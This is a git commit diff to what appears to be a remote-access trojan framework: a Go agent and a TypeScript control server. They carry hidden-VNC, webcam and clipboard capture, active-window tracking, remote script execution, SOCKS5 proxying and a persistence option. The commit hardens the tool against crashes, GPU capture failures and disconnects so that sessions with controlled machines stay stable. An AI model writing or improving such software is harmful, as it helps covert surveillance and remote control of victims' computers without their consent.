hopefully fix all issues with random disconnects during stupid panics from GPU mode.

This commit is contained in:
KingKDot
2026-04-07 13:26:52 -05:00
parent acc010be81
commit a0ed6d7cc1
10 changed files with 78 additions and 8 deletions
@@ -485,7 +485,10 @@ func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte
if newBmp == 0 || bits == nil {
return 0, 0, nil, 0, syscall.EINVAL
}
selectObject(s.hdcMem, newBmp)
if selectObject(s.hdcMem, newBmp) == 0 {
deleteObject(newBmp)
return 0, 0, nil, 0, syscall.EINVAL
}
if s.hbmp != 0 {
deleteObject(s.hbmp)
}
@@ -516,6 +519,7 @@ func (s *capState) reset() {
s.w = 0
s.h = 0
s.bits = nil
stateCreatedAt = time.Time{}
}
func captureScale() float64 {
@@ -24,6 +24,8 @@ const (
dxgiErrorNotFound uintptr = 0x887A0002
dxgiErrorWaitTimeout uintptr = 0x887A0027
dxgiErrorAccessLost uintptr = 0x887A0026
dxgiErrorDeviceRemoved uintptr = 0x887A0005
dxgiErrorDeviceReset uintptr = 0x887A0007
S_OK uintptr = 0
)
@@ -613,6 +615,7 @@ type duplicationState struct {
lastFrameAt time.Time
lastFail time.Time
cursorScratch *image.RGBA
createdAt time.Time
}
func SetDesktopDuplication(enabled bool) {
@@ -675,6 +678,7 @@ func (s *duplicationState) closeLocked() {
s.lastFrame = nil
s.lastFrameAt = time.Time{}
s.cursorScratch = nil
s.createdAt = time.Time{}
}
func (s *duplicationState) capture(display int) (*image.RGBA, error) {
@@ -713,6 +717,10 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
s.closeLocked()
return nil, errors.New("dxgi: access lost")
}
if hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset {
s.closeLocked()
return nil, fmt.Errorf("dxgi: device lost 0x%x", hr)
}
if hr != S_OK {
return nil, fmt.Errorf("dxgi: acquire frame failed 0x%x", hr)
}
@@ -826,10 +834,17 @@ func cloneRGBA(src *image.RGBA) *image.RGBA {
}
func (s *duplicationState) ensure(display int) error {
const dxgiDeviceMaxAge = 4 * time.Hour
if s.dup != nil && s.display == display {
return nil
if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge {
log.Printf("capture: dxgi device age exceeded %v; forcing re-init", dxgiDeviceMaxAge)
s.closeLocked()
} else {
return nil
}
} else {
s.closeLocked()
}
s.closeLocked()
monitors := monitorList()
if display < 0 || display >= len(monitors) {
@@ -903,6 +918,7 @@ func (s *duplicationState) ensure(display int) error {
s.display = display
s.bounds = bounds
s.cursorBounds = cursorBounds
s.createdAt = time.Now()
return nil
}
@@ -951,10 +967,13 @@ func (s *duplicationState) readbackFrame(width, height int, rotation uint32, res
s.context.CopyResource(s.staging, tex)
var mapped d3d11MappedSubresource
hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped)
if hr != S_OK || mapped.Data == nil || mapped.RowPitch == 0 {
if hr != S_OK {
return nil, hr
}
defer s.context.Unmap(s.staging, 0)
if mapped.Data == nil || mapped.RowPitch == 0 {
return nil, uintptr(1)
}
pitch := int(mapped.RowPitch)
src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height))
@@ -1,8 +1,10 @@
package filesearch
import (
"log"
"os"
"path/filepath"
"runtime/debug"
"strings"
"sync"
)
@@ -31,6 +33,11 @@ func LookupExe(exeName string, workers int, onResult ResultFunc) {
wg.Add(1)
go func() {
defer wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[filesearch] worker panic: %v\n%s", r, debug.Stack())
}
}()
for dir := range dirs {
walkDir(dir, lowerExe, dirs, &inflight, onResult)
inflight.Done()
@@ -40,6 +40,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
}
go func() {
defer recoverAndLog("agent update", nil)
// Let the command_result flush before beginning process replacement.
time.Sleep(250 * time.Millisecond)
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {
@@ -18,6 +18,7 @@ func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]inter
pong := wire.Pong{Type: "pong", TS: ts}
go func() {
defer recoverAndLog("pong sender", nil)
if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
log.Printf("ping: failed to send pong: %v", err)
}
+2 -2
View File
@@ -737,13 +737,13 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
capture.Loop(shotCtx, env)
})
goSafe("activewindow", nil, func() {
goSafe("activewindow", cancel, func() {
if err := activewindow.Start(ctx, env); err != nil {
log.Printf("activewindow error: %v", err)
}
})
goSafe("clipboard", nil, func() {
goSafe("clipboard", cancel, func() {
if err := activewindow.StartClipboard(ctx, env); err != nil {
log.Printf("clipboard error: %v", err)
}
+12
View File
@@ -288,6 +288,7 @@ type PendingScript = {
resolve: (result: any) => void;
reject: (error: any) => void;
timeout: NodeJS.Timeout;
clientId: string;
};
const pendingScripts = new Map<string, PendingScript>();
@@ -295,6 +296,7 @@ type PendingCommandReply = {
resolve: (result: { ok: boolean; message?: string }) => void;
reject: (error: Error) => void;
timeout: NodeJS.Timeout;
clientId: string;
};
const pendingCommandReplies = new Map<string, PendingCommandReply>();
@@ -628,3 +630,13 @@ process.on("SIGTERM", () => {
flushAuditLogsSync();
process.exit(0);
});
process.on("uncaughtException", (err) => {
logger.error("[server] uncaught exception:", err);
flushAuditLogsSync();
process.exit(1);
});
process.on("unhandledRejection", (reason) => {
logger.error("[server] unhandled rejection:", reason);
});
@@ -561,7 +561,7 @@ export async function handleClientRoutes(
reject(new Error("Script execution timed out after 5 minutes"));
}, 5 * 60 * 1000);
deps.pendingScripts.set(cmdId, { resolve, reject, timeout });
deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId });
});
target.ws.send(encodeMessage({
@@ -595,7 +595,7 @@ export async function handleClientRoutes(
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Voice capability probe timed out"));
}, 30_000);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
});
target.ws.send(
@@ -17,11 +17,13 @@ import { stopAllProxiesForClient } from "../socks5-proxy-manager";
type PendingScript = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
clientId: string;
};
type PendingCommandReply = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok: boolean; message?: string }) => void;
clientId: string;
};
type WsLifecycleDeps = {
@@ -333,6 +335,10 @@ export async function handleWebSocketMessage(
logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`);
try { existingClient.ws.close(4004, "superseded"); } catch {}
clientManager.deleteClient(resolvedId);
clearEnrollmentTimeout(resolvedId);
deps.rdStreamingState.delete(resolvedId);
deps.hvncStreamingState.delete(resolvedId);
deps.webcamStreamingState.delete(resolvedId);
}
ws.data.wasKnown = clientExists(resolvedId);
@@ -729,6 +735,20 @@ export function handleWebSocketClose(
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
deps.clearPendingNotificationScreenshots(clientId);
deps.clearClientPluginState(clientId);
for (const [cmdId, pending] of deps.pendingScripts) {
if (pending.clientId === clientId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, error: "Client disconnected" });
deps.pendingScripts.delete(cmdId);
}
}
for (const [cmdId, pending] of deps.pendingCommandReplies) {
if (pending.clientId === clientId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, message: "Client disconnected" });
deps.pendingCommandReplies.delete(cmdId);
}
}
deps.rdStreamingState.delete(clientId);
deps.hvncStreamingState.delete(clientId);
deps.webcamStreamingState.delete(clientId);
@@ -120,6 +120,8 @@ function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array {
return buf;
}
const VIEWER_BACKPRESSURE_BYTES = 4 * 1024 * 1024; // 4 MB
function broadcastFrameToViewers(
sessions: Iterable<{ viewer: ServerWebSocket<SocketData> }>,
buf: Uint8Array,
@@ -130,6 +132,10 @@ function broadcastFrameToViewers(
const byteLen = buf.length;
for (const session of sessions) {
try {
const buffered = session.viewer.getBufferedAmount?.() ?? 0;
if (buffered > VIEWER_BACKPRESSURE_BYTES) {
continue;
}
session.viewer.send(buf);
metrics.recordBytesSent(byteLen);
sent = true;